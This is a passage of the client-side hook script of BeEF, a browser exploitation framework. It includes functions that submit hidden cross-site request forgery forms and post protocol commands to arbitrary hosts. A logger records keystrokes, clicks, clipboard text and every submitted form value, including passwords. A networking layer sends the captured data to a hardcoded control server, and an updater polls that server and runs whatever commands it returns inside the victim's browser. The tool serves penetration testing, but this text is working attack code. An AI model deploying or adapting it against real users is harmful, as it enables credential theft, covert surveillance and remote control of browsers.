  9268. // "type='application/x-java-applet' archive='" + archive + "' " +
  9269. // "height='0' width='0' name='" + name + "'>";
  9270. // }
  9271. //
  9272. // if (params != null) {
  9273. // content += beef.dom.parseAppletParams(params);
  9274. // }
  9275. // content += "</embed>";
  9276. // }
  9277. $j('body').append(content);
  9278. },
  9279.  
  9280. /**
  9281. * Given an id, remove the applet from the DOM.
  9282. * @params: {String} id: reference identifier to the applet.
  9283. */
  9284. detachApplet: function(id) {
  9285. $j('#' + id + '').detach();
  9286. },
  9287.  
  9288. /**
  9289. * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST
  9290.  
  9291. requests.
  9292. * @params: {String} action: the form action attribute, where the request will be sent.
  9293. * @params: {String} method: HTTP method, usually POST.
  9294. * @params: {String} enctype: form encoding type
  9295. * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
  9296. * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
  9297. */
  9298. createIframeXsrfForm: function(action, method, enctype, inputs){
  9299. var iframeXsrf = beef.dom.createInvisibleIframe();
  9300.  
  9301. var formXsrf = document.createElement('form');
  9302. formXsrf.setAttribute('action', action);
  9303. formXsrf.setAttribute('method', method);
  9304. formXsrf.setAttribute('enctype', enctype);
  9305.  
  9306. var input = null;
  9307. for (i in inputs){
  9308. var attributes = inputs[i];
  9309. input = document.createElement('input');
  9310. for(key in attributes){
  9311. input.setAttribute(key, attributes[key]);
  9312. }
  9313. formXsrf.appendChild(input);
  9314. }
  9315. iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
  9316. formXsrf.submit();
  9317.  
  9318. return iframeXsrf;
  9319. },
  9320.  
  9321. /**
  9322. * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol
  9323.  
  9324. exploitation.
  9325. * @params: {String} rhost: remote host ip/domain
  9326. * @params: {String} rport: remote port
  9327. * @params: {String} commands: protocol commands to be executed by the remote host:port service
  9328. */
  9329. createIframeIpecForm: function(rhost, rport, path, commands){
  9330. var iframeIpec = beef.dom.createInvisibleIframe();
  9331.  
  9332. var formIpec = document.createElement('form');
  9333. formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
  9334. formIpec.setAttribute('method', 'POST');
  9335. formIpec.setAttribute('enctype', 'multipart/form-data');
  9336.  
  9337. input = document.createElement('textarea');
  9338. input.setAttribute('name', Math.random().toString(36).substring(5));
  9339. input.value = commands;
  9340. formIpec.appendChild(input);
  9341. iframeIpec.contentWindow.document.body.appendChild(formIpec);
  9342. formIpec.submit();
  9343.  
  9344. return iframeIpec;
  9345. }
  9346.  
  9347. };
  9348.  
  9349. beef.regCmp('beef.dom');
  9350.  
  9351.  
  9352. //
  9353. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  9354. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9355. // See the file 'doc/COPYING' for copying permission
  9356. //
  9357.  
  9358. /*!
  9359. * @literal object: beef.logger
  9360. *
  9361. * Provides logging capabilities.
  9362. */
  9363. beef.logger = {
  9364.  
  9365. running: false,
  9366. /**
  9367. * Internal logger id
  9368. */
  9369. id: 0,
  9370. /**
  9371. * Holds events created by user, to be sent back to BeEF
  9372. */
  9373. events: [],
  9374. /**
  9375. * Holds current stream of key presses
  9376. */
  9377. stream: [],
  9378. /**
  9379. * Contains current target of key presses
  9380. */
  9381. target: null,
  9382. /**
  9383. * Holds the time the logger was started
  9384. */
  9385. time: null,
  9386. /**
  9387. * Holds the event details to be sent to BeEF
  9388. */
  9389. e: function() {
  9390. this.id = beef.logger.get_id();
  9391. this.time = beef.logger.get_timestamp();
  9392. this.type = null;
  9393. this.x = 0;
  9394. this.y = 0;
  9395. this.target = null;
  9396. this.data = null;
  9397. this.mods = null;
  9398. },
  9399.  
  9400. /**
  9401. * Starts the logger
  9402. */
  9403. start: function() {
  9404.  
  9405. beef.browser.hookChildFrames();
  9406. this.running = true;
  9407. var d = new Date();
  9408. this.time = d.getTime();
  9409.  
  9410. $j(document).keypress(
  9411. function(e) { beef.logger.keypress(e); }
  9412. ).click(
  9413. function(e) { beef.logger.click(e); }
  9414. );
  9415. $j(window).focus(
  9416. function(e) { beef.logger.win_focus(e); }
  9417. ).blur(
  9418. function(e) { beef.logger.win_blur(e); }
  9419. );
  9420. $j('form').submit(
  9421. function(e) { beef.logger.submit(e); }
  9422. );
  9423. document.body.oncopy = function() {
  9424. setTimeout("beef.logger.copy();", 10);
  9425. };
  9426. document.body.oncut = function() {
  9427. setTimeout("beef.logger.cut();", 10);
  9428. };
  9429. document.body.onpaste = function() {
  9430. beef.logger.paste();
  9431. }
  9432. },
  9433.  
  9434. /**
  9435. * Stops the logger
  9436. */
  9437. stop: function() {
  9438. this.running = false;
  9439. clearInterval(this.timer);
  9440. $j(document).keypress(null);
  9441. },
  9442.  
  9443. /**
  9444. * Get id
  9445. */
  9446. get_id: function() {
  9447. this.id++;
  9448. return this.id;
  9449. },
  9450.  
  9451. /**
  9452. * Click function fires when the user clicks the mouse.
  9453. */
  9454. click: function(e) {
  9455. var c = new beef.logger.e();
  9456. c.type = 'click';
  9457. c.x = e.pageX;
  9458. c.y = e.pageY;
  9459. c.target = beef.logger.get_dom_identifier(e.target);
  9460. this.events.push(c);
  9461. },
  9462.  
  9463. /**
  9464. * Fires when the window element has regained focus
  9465. */
  9466. win_focus: function(e) {
  9467. var f = new beef.logger.e();
  9468. f.type = 'focus';
  9469. this.events.push(f);
  9470. },
  9471.  
  9472. /**
  9473. * Fires when the window element has lost focus
  9474. */
  9475. win_blur: function(e) {
  9476. var b = new beef.logger.e();
  9477. b.type = 'blur';
  9478. this.events.push(b);
  9479. },
  9480.  
  9481. /**
  9482. * Keypress function fires everytime a key is pressed.
  9483. * @param {Object} e: event object
  9484. */
  9485. keypress: function(e) {
  9486. if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
  9487. {
  9488. beef.logger.push_stream();
  9489. this.target = e.target;
  9490. }
  9491. this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey,
  9492.  
  9493. 'shift':e.shiftKey}});
  9494. },
  9495.  
  9496. /**
  9497. * Copy function fires when the user copies data to the clipboard.
  9498. */
  9499. copy: function(x) {
  9500. try {
  9501. var c = new beef.logger.e();
  9502. c.type = 'copy';
  9503. c.data = clipboardData.getData("Text");
  9504. this.events.push(c);
  9505. } catch(e) {}
  9506. },
  9507.  
  9508. /**
  9509. * Cut function fires when the user cuts data to the clipboard.
  9510. */
  9511. cut: function() {
  9512. try {
  9513. var c = new beef.logger.e();
  9514. c.type = 'cut';
  9515. c.data = clipboardData.getData("Text");
  9516. this.events.push(c);
  9517. } catch(e) {}
  9518. },
  9519.  
  9520. /**
  9521. * Paste function fires when the user pastes data from the clipboard.
  9522. */
  9523. paste: function() {
  9524. try {
  9525. var c = new beef.logger.e();
  9526. c.type = 'paste';
  9527. c.data = clipboardData.getData("Text");
  9528. this.events.push(c);
  9529. } catch(e) {}
  9530. },
  9531.  
  9532. /**
  9533. * Submit function fires whenever a form is submitted
  9534. * TODO: Cleanup this function
  9535. */
  9536. submit: function(e) {
  9537. try {
  9538. var f = new beef.logger.e();
  9539. var values = "";
  9540. f.type = 'submit';
  9541. f.target = beef.logger.get_dom_identifier(e.target);
  9542. for (var i = 0; i < e.target.elements.length; i++) {
  9543. values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
  9544. }
  9545. f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr
  9546.  
  9547. ('method') + ' - Values:\n'+values;
  9548. this.events.push(f);
  9549. } catch(e) {}
  9550. },
  9551.  
  9552. /**
  9553. * Pushes the current stream to the events queue
  9554. */
  9555. push_stream: function() {
  9556. if (this.stream.length > 0)
  9557. {
  9558. this.events.push(beef.logger.parse_stream());
  9559. this.stream = [];
  9560. }
  9561. },
  9562.  
  9563. /**
  9564. * Translate DOM Object to a readable string
  9565. */
  9566. get_dom_identifier: function(target) {
  9567. target = (target == null) ? this.target : target;
  9568. var id = '';
  9569. if (target)
  9570. {
  9571. id = target.tagName.toLowerCase();
  9572. id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
  9573. id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
  9574. }
  9575. return id;
  9576. },
  9577.  
  9578. /**
  9579. * Formats the timestamp
  9580. * @return {String} timestamp string
  9581. */
  9582. get_timestamp: function() {
  9583. var d = new Date();
  9584. return ((d.getTime() - this.time) / 1000).toFixed(3);
  9585. },
  9586.  
  9587. /**
  9588. * Parses stream array and creates history string
  9589. */
  9590. parse_stream: function() {
  9591. var s = '';
  9592. var mods = '';
  9593. for (var i in this.stream){
  9594. try{
  9595. var mod = this.stream[i]['modifiers'];
  9596. s += String.fromCharCode(this.stream[i]['char']);
  9597. if(typeof mod != 'undefined' &&
  9598. (mod['alt'] == true ||
  9599. mod['ctrl'] == true ||
  9600. mod['shift'] == true)){
  9601. mods += (mod['alt']) ? ' [Alt] ' : '';
  9602. mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
  9603. mods += (mod['shift']) ? ' [Shift] ' : '';
  9604. mods += String.fromCharCode(this.stream[i]['char']);
  9605. }
  9606.  
  9607. }catch(e){}
  9608. }
  9609. var k = new beef.logger.e();
  9610. k.type = 'keys';
  9611. k.target = beef.logger.get_dom_identifier();
  9612. k.data = s;
  9613. k.mods = mods;
  9614. return k;
  9615. },
  9616.  
  9617. /**
  9618. * Queue results to be sent back to framework
  9619. */
  9620. queue: function() {
  9621. beef.logger.push_stream();
  9622. if (this.events.length > 0)
  9623. {
  9624. beef.net.queue('/event', 0, this.events);
  9625. this.events = [];
  9626. }
  9627. }
  9628.  
  9629. };
  9630.  
  9631. beef.regCmp('beef.logger');
  9632.  
  9633.  
  9634. //
  9635. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  9636. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9637. // See the file 'doc/COPYING' for copying permission
  9638. //
  9639.  
  9640. /*!
  9641. * @literal object: beef.net
  9642. *
  9643. * Provides basic networking functions,
  9644. * like beef.net.request and beef.net.forgeRequest,
  9645. * used by BeEF command modules and the Requester extension,
  9646. * as well as beef.net.send which is used to return commands
  9647. * to BeEF server-side components.
  9648. *
  9649. * Also, it contains the core methods used by the XHR-polling
  9650. * mechanism (flush, queue)
  9651. */
  9652. beef.net = {
  9653.  
  9654. host: "192.168.0.105",
  9655. port: "3000",
  9656. hook: "/hook.js",
  9657. httpproto: "http",
  9658. handler: '/dh',
  9659. chop: 500,
  9660. pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
  9661. sid_count: 0,
  9662. cmd_queue: [],
  9663.  
  9664. /**
  9665. * Command object. This represents the data to be sent back to BeEF,
  9666. * using the beef.net.send() method.
  9667. */
  9668. command: function () {
  9669. this.cid = null;
  9670. this.results = null;
  9671. this.status = null;
  9672. this.handler = null;
  9673. this.callback = null;
  9674. },
  9675.  
  9676. /**
  9677. * Packet object. A single chunk of data. X packets -> 1 stream
  9678. */
  9679. packet: function () {
  9680. this.id = null;
  9681. this.data = null;
  9682. },
  9683.  
  9684. /**
  9685. * Stream object. Contains X packets, which are command result chunks.
  9686. */
  9687. stream: function () {
  9688. this.id = null;
  9689. this.packets = [];
  9690. this.pc = 0;
  9691. this.get_base_url_length = function () {
  9692. return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
  9693. };
  9694. this.get_packet_data = function () {
  9695. var p = this.packets.shift();
  9696. return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
  9697. };
  9698. },
  9699.  
  9700. /**
  9701. * Response Object - used in the beef.net.request callback
  9702. * NOTE: as we are using async mode, the response object will be empty if returned.
  9703. * Using sync mode, request obj fields will be populated.
  9704. */
  9705. response: function () {
  9706. this.status_code = null; // 500, 404, 200, 302
  9707. this.status_text = null; // success, timeout, error, ...
  9708. this.response_body = null; // "<html>…." if not a cross-origin request
  9709. this.port_status = null; // tcp port is open, closed or not http
  9710. this.was_cross_domain = null; // true or false
  9711. this.was_timedout = null; // the user specified timeout was reached
  9712. this.duration = null; // how long it took for the request to complete
  9713. this.headers = null; // full response headers
  9714. },
  9715.  
  9716. /**
  9717. * Queues the specified command results.
  9718. * @param: {String} handler: the server-side handler that will be called
  9719. * @param: {Integer} cid: command id
  9720. * @param: {String} results: the data to send
  9721. * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  9722. * @param: {Function} callback: the function to call after execution
  9723. */
  9724. queue: function (handler, cid, results, status, callback) {
  9725. if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback)
  9726.  
  9727. === 'function')) {
  9728. var s = new beef.net.command();
  9729. s.cid = cid;
  9730. s.results = beef.net.clean(results);
  9731. s.status = status;
  9732. s.callback = callback;
  9733. s.handler = handler;
  9734. this.cmd_queue.push(s);
  9735. }
  9736. },
  9737.  
  9738. /**
  9739. * Queues the current command results and flushes the queue straight away.
  9740. * NOTE: Always send Browser Fingerprinting results
  9741. * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
  9742. * even if WebSockets are enabled.
  9743. * @param: {String} handler: the server-side handler that will be called
  9744. * @param: {Integer} cid: command id
  9745. * @param: {String} results: the data to send
  9746. * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or
  9747.  
  9748. 'success')
  9749. * @param: {Function} callback: the function to call after execution
  9750. * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is
  9751.  
  9752. null)
  9753. */
  9754. send: function (handler, cid, results, exec_status, callback) {
  9755. // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
  9756. var status = 0;
  9757. if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
  9758.  
  9759. if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
  9760. this.queue(handler, cid, results, status, callback);
  9761. this.flush();
  9762. } else {
  9763. try {
  9764. beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  9765. '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  9766. '", "status": "' + exec_status +
  9767. '", "callback": "' + callback +
  9768. '","bh":"' + beef.session.get_hook_session_id() + '" }');
  9769. } catch (e) {
  9770. this.queue(handler, cid, results, status, callback);
  9771. this.flush();
  9772. }
  9773. }
  9774.  
  9775. return status;
  9776. },
  9777.  
  9778. /**
  9779. * Flush all currently queued command results to the framework,
  9780. * chopping the data in chunks ('chunk' method) which will be re-assembled
  9781. * server-side by the network stack.
  9782. * NOTE: currently 'flush' is used only with the default
  9783. * XHR-polling mechanism. If WebSockets are used, the data is sent
  9784. * back to BeEF straight away.
  9785. */
  9786. flush: function () {
  9787. if (this.cmd_queue.length > 0) {
  9788. var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
  9789. this.cmd_queue.length = 0;
  9790. this.sid_count++;
  9791. var stream = new this.stream();
  9792. stream.id = this.sid_count;
  9793. var pad = stream.get_base_url_length() + this.pad;
  9794. //cant continue if chop amount is too low
  9795. if ((this.chop - pad) > 0) {
  9796. var data = this.chunk(data, (this.chop - pad));
  9797. for (var i = 1; i <= data.length; i++) {
  9798. var packet = new this.packet();
  9799. packet.id = i;
  9800. packet.data = data[(i - 1)];
  9801. stream.packets.push(packet);
  9802. }
  9803. stream.pc = stream.packets.length;
  9804. this.push(stream);
  9805. }
  9806. }
  9807. },
  9808.  
  9809. /**
  9810. * Split the input data into chunk lengths determined by the amount parameter.
  9811. * @param: {String} str: the input data
  9812. * @param: {Integer} amount: chunk length
  9813. */
  9814. chunk: function (str, amount) {
  9815. if (typeof amount == 'undefined') n = 2;
  9816. return str.match(RegExp('.{1,' + amount + '}', 'g'));
  9817. },
  9818.  
  9819. /**
  9820. * Push the input stream back to the BeEF server-side components.
  9821. * It uses beef.net.request to send back the data.
  9822. * @param: {Object} stream: the stream object to be sent back.
  9823. */
  9824. push: function (stream) {
  9825. //need to implement wait feature here eventually
  9826. for (var i = 0; i < stream.pc; i++) {
  9827. this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10,
  9828.  
  9829. 'text', null);
  9830. }
  9831. },
  9832.  
  9833. /**
  9834. * Performs http requests
  9835. * @param: {String} scheme: HTTP or HTTPS
  9836. * @param: {String} method: GET or POST
  9837. * @param: {String} domain: bindshell.net, 192.168.3.4, etc
  9838. * @param: {Int} port: 80, 5900, etc
  9839. * @param: {String} path: /path/to/resource
  9840. * @param: {String} anchor: this is the value that comes after the # in the URL
  9841. * @param: {String} data: This will be used as the query string for a GET or post data for a POST
  9842. * @param: {Int} timeout: timeout the request after N seconds
  9843. * @param: {String} dataType: specify the data return type expected (ie text/html/script)
  9844. * @param: {Function} callback: call the callback function at the completion of the method
  9845. *
  9846. * @return: {Object} response: this object contains the response details
  9847. */
  9848. request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
  9849. //check if same domain or cross domain
  9850. var cross_domain = true;
  9851. if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  9852. if (document.location.port == "" || document.location.port == null) {
  9853. cross_domain = !(port == "80" || port == "443");
  9854. }
  9855. }
  9856.  
  9857. //build the url
  9858. var url = "";
  9859. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  9860. url = path;
  9861. } else {
  9862. url = scheme + "://" + domain;
  9863. url = (port != null) ? url + ":" + port : url;
  9864. url = (path != null) ? url + path : url;
  9865. url = (anchor != null) ? url + "#" + anchor : url;
  9866. }
  9867.  
  9868. //define response object
  9869. var response = new this.response;
  9870. response.was_cross_domain = cross_domain;
  9871. var start_time = new Date().getTime();
  9872.  
  9873. /*
  9874. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  9875. * This will turn POSTs into GETs for remote-domain requests.
  9876. */
  9877. if (method == "POST") {
  9878. $j.ajaxSetup({
  9879. dataType: dataType
  9880. });
  9881. } else {
  9882. $j.ajaxSetup({
  9883. dataType: 'script'
  9884. });
  9885. }
  9886.  
  9887. //build and execute the request
  9888. $j.ajax({type: method,
  9889. url: url,
  9890. data: data,
  9891. timeout: (timeout * 1000),
  9892.  
  9893. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  9894. beforeSend: function (xhr) {
  9895. if (method == "POST") {
  9896. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  9897. }
  9898. },
  9899. success: function (data, textStatus, xhr) {
  9900. var end_time = new Date().getTime();
  9901. response.status_code = xhr.status;
  9902. response.status_text = textStatus;
  9903. response.response_body = data;
  9904. response.port_status = "open";
  9905. response.was_timedout = false;
  9906. response.duration = (end_time - start_time);
  9907. },
  9908. error: function (jqXHR, textStatus, errorThrown) {
  9909. var end_time = new Date().getTime();
  9910. response.response_body = jqXHR.responseText;
  9911. response.status_code = jqXHR.status;
  9912. response.status_text = textStatus;
  9913. response.duration = (end_time - start_time);
  9914. response.port_status = "open";
  9915. },
  9916. complete: function (jqXHR, textStatus) {
  9917. response.status_code = jqXHR.status;
  9918. response.status_text = textStatus;
  9919. response.headers = jqXHR.getAllResponseHeaders();
  9920. // determine if TCP port is open/closed/not-http
  9921. if (textStatus == "timeout") {
  9922. response.was_timedout = true;
  9923. response.response_body = "ERROR: Timed out\n";
  9924. response.port_status = "closed";
  9925. } else if (textStatus == "parsererror") {
  9926. response.port_status = "not-http";
  9927. } else {
  9928. response.port_status = "open";
  9929. }
  9930. }
  9931. }).always(function () {
  9932. if (callback != null) {
  9933. callback(response);
  9934. }
  9935. });
  9936. return response;
  9937. },
  9938.  
  9939. /*
  9940. * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
  9941. * - requestid: needed on the callback
  9942. * - allowCrossDomain: set cross-domain requests as allowed or blocked
  9943. *
  9944. * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
  9945. * Example usage:
  9946. * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
  9947. * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
  9948. * alert(response.response_body)})
  9949. */
  9950. forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType,
  9951.  
  9952. allowCrossDomain, requestid, callback) {
  9953.  
  9954. // check if same domain or cross domain
  9955. var cross_domain = true;
  9956. if (domain == "undefined" || path == "undefined") {
  9957. return;
  9958. }
  9959. if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  9960. if (document.location.port == "" || document.location.port == null) {
  9961. cross_domain = !(port == "80" || port == "443");
  9962. } else {
  9963. if (document.location.port == port) cross_domain = false;
  9964. }
  9965. }
  9966. // build the url
  9967. var url = "";
  9968. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  9969. url = path;
  9970. } else {
  9971. url = scheme + "://" + domain;
  9972. url = (port != null) ? url + ":" + port : url;
  9973. url = (path != null) ? url + path : url;
  9974. url = (anchor != null) ? url + "#" + anchor : url;
  9975. }
  9976.  
  9977. // define response object
  9978. var response = new this.response;
  9979. response.was_cross_domain = cross_domain;
  9980. var start_time = new Date().getTime();
  9981.  
  9982. // if cross-domain requests are not allowed and the request is cross-domain
  9983. // don't proceed and return
  9984. if (allowCrossDomain == "false" && cross_domain && callback != null) {
  9985. response.status_code = -1;
  9986. response.status_text = "crossdomain";
  9987. response.port_status = "crossdomain";
  9988. response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
  9989. response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
  9990. callback(response, requestid);
  9991. return response;
  9992. }
  9993.  
  9994. /*
  9995. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  9996. * This will turn POSTs into GETs for remote-domain requests.
  9997. */
  9998. if (method == "POST") {
  9999. $j.ajaxSetup({
  10000. dataType: dataType
  10001. });
  10002. } else {
  10003. $j.ajaxSetup({
  10004. dataType: 'script'
  10005. });
  10006. }
  10007.  
  10008. // this is required for bugs in IE so data can be transferred back to the server
  10009. if (beef.browser.isIE()) {
  10010. dataType = 'script'
  10011. }
  10012.  
  10013. $j.ajax({type: method,
  10014. dataType: dataType,
  10015. url: url,
  10016. headers: headers,
  10017. timeout: (timeout * 1000),
  10018.  
  10019. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  10020. beforeSend: function (xhr) {
  10021. if (method == "POST") {
  10022. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  10023. }
  10024. },
  10025.  
  10026. data: data,
  10027.  
  10028. // http server responded successfully
  10029. success: function (data, textStatus, xhr) {
  10030. var end_time = new Date().getTime();
  10031. response.status_code = xhr.status;
  10032. response.status_text = textStatus;
  10033. response.response_body = data;
  10034. response.was_timedout = false;
  10035. response.duration = (end_time - start_time);
  10036. },
  10037.  
  10038. // server responded with a http error (403, 404, 500, etc)
  10039. // or server is not a http server
  10040. error: function (xhr, textStatus, errorThrown) {
  10041. var end_time = new Date().getTime();
  10042. response.response_body = xhr.responseText;
  10043. response.status_code = xhr.status;
  10044. response.status_text = textStatus;
  10045. response.duration = (end_time - start_time);
  10046. },
  10047.  
  10048. complete: function (xhr, textStatus) {
  10049. // cross-domain request
  10050. if (cross_domain) {
  10051.  
  10052. response.port_status = "crossdomain";
  10053.  
  10054. if (xhr.status != 0) {
  10055. response.status_code = xhr.status;
  10056. } else {
  10057. response.status_code = -1;
  10058. }
  10059.  
  10060. if (textStatus) {
  10061. response.status_text = textStatus;
  10062. } else {
  10063. response.status_text = "crossdomain";
  10064. }
  10065.  
  10066. if (xhr.getAllResponseHeaders()) {
  10067. response.headers = xhr.getAllResponseHeaders();
  10068. } else {
  10069. response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible
  10070.  
  10071. to view the response.\n";
  10072. }
  10073.  
  10074. if (!response.response_body) {
  10075. response.response_body = "ERROR: Cross Domain Request. The request was sent however it is
  10076.  
  10077. impossible to view the response.\n";
  10078. }
  10079.  
  10080. } else {
  10081. // same-domain request
  10082. response.status_code = xhr.status;
  10083. response.status_text = textStatus;
  10084. response.headers = xhr.getAllResponseHeaders();
  10085.  
  10086. // determine if TCP port is open/closed/not-http
  10087. if (textStatus == "timeout") {
  10088. response.was_timedout = true;
  10089. response.response_body = "ERROR: Timed out\n";
  10090. response.port_status = "closed";
  10091. /*
  10092. * With IE we need to explicitly set the dataType to "script",
  10093. * so there will be always parse-errors if the content is != javascript
  10094. * */
  10095. } else if (textStatus == "parsererror") {
  10096. response.port_status = "not-http";
  10097. if (beef.browser.isIE()) {
  10098. response.status_text = "success";
  10099. response.port_status = "open";
  10100. }
  10101. } else {
  10102. response.port_status = "open";
  10103. }
  10104. }
  10105. callback(response, requestid);
  10106. }
  10107. });
  10108. return response;
  10109. },
  10110.  
  10111. //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
  10112. //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  10113. clean: function (r) {
  10114. if (this.array_has_string_key(r)) {
  10115. var obj = {};
  10116. for (var key in r)
  10117. obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
  10118. return obj;
  10119. }
  10120. return r;
  10121. },
  10122.  
  10123. //Detects if an array has a string key
  10124. array_has_string_key: function (arr) {
  10125. if ($j.isArray(arr)) {
  10126. try {
  10127. for (var key in arr)
  10128. if (isNaN(parseInt(key))) return true;
  10129. } catch (e) {
  10130. }
  10131. }
  10132. return false;
  10133. },
  10134.  
  10135. /**
  10136. * Sends back browser details to framework, calling beef.browser.getDetails()
  10137. */
  10138. browser_details: function () {
  10139. var details = beef.browser.getDetails();
  10140. details['HookSessionID'] = beef.session.get_hook_session_id();
  10141. this.send('/init', 0, details);
  10142. }
  10143.  
  10144. };
  10145.  
  10146.  
  10147. beef.regCmp('beef.net');
  10148.  
  10149.  
  10150. //
  10151. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10152. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10153. // See the file 'doc/COPYING' for copying permission
  10154. //
  10155.  
  10156. /*!
  10157. * @Literal object: beef.updater
  10158. *
  10159. * Object in charge of getting new commands from the BeEF framework and execute them.
  10160. * The XHR-polling channel is managed here. If WebSockets are enabled,
  10161. * websocket.ls is used instead.
  10162. */
  10163. beef.updater = {
  10164.  
  10165. // XHR-polling timeout.
  10166. xhr_poll_timeout: "1000",
  10167. beefhook: "BEEFHOOK",
  10168.  
  10169. // A lock.
  10170. lock: false,
  10171.  
  10172. // An object containing all values to be registered and sent by the updater.
  10173. objects: new Object(),
  10174.  
  10175. /*
  10176. * Registers an object to always send when requesting new commands to the framework.
  10177. * @param: {String} the name of the object.
  10178. * @param: {String} the value of that object.
  10179. *
  10180. * @example: beef.updater.regObject('java_enabled', 'true');
  10181. */
  10182. regObject: function(key, value) {
  10183. this.objects[key] = escape(value);
  10184. },
  10185.  
  10186. // Checks for new commands from the framework and runs them.
  10187. check: function() {
  10188. if(this.lock == false) {
  10189. if (beef.logger.running) {
  10190. beef.logger.queue();
  10191. }
  10192. beef.net.flush();
  10193. if(beef.commands.length > 0) {
  10194. this.execute_commands();
  10195. }else {
  10196. this.get_commands(); /*Polling*/
  10197. }
  10198. }
  10199. /* The following gives a stupid syntax error in IE, which can be ignored*/
  10200. setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
  10201. },
  10202.  
  10203. /**
  10204. * Gets new commands from the framework.
  10205. */
  10206. get_commands: function() {
  10207. try {
  10208. this.lock = true;
  10209. beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null,
  10210.  
  10211. beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
  10212. if (response.body != null && response.body.length > 0)
  10213. beef.updater.execute_commands();
  10214. });
  10215. } catch(e) {
  10216. this.lock = false;
  10217. return;
  10218. }
  10219. this.lock = false;
  10220. },
  10221.  
  10222. /**
  10223. * Executes the received commands, if any.
  10224. */
  10225. execute_commands: function() {
  10226. if(beef.commands.length == 0) return;
  10227. this.lock = true;
  10228. while(beef.commands.length > 0) {
  10229. command = beef.commands.pop();
  10230. try {
  10231. command();
  10232. } catch(e) {
  10233. beef.debug('execute_commands - command failed to execute: ' +
  10234.  
  10235. e.message);
  10236. // prints the command source to be executed, to better trace errors
  10237. // beef.client_debug must be enabled in the main config
  10238. beef.debug(command.toString());
  10239. }
  10240. }
  10241. this.lock = false;
  10242. }
  10243. };
  10244.  
  10245. beef.regCmp('beef.updater');
  10246.  
  10247.  
  10248. //
  10249. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10250. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10251. // See the file 'doc/COPYING' for copying permission
  10252. //
  10253.  
  10254. // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-
  10255.  
  10256. javascript/3774662#3774662
  10257.  
  10258. beef.encode = {};
  10259.  
  10260. beef.encode.base64 = {
  10261.  
  10262. keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  10263.  
  10264. encode : function (input) {
  10265. if (window.btoa) {
  10266. return btoa(unescape(encodeURIComponent(input)));
  10267. }
  10268.  
  10269. var output = "";
  10270. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  10271. var i = 0;
  10272.  
  10273. input = beef.encode.base64.utf8_encode(input);
  10274.  
  10275. while (i < input.length) {
  10276.  
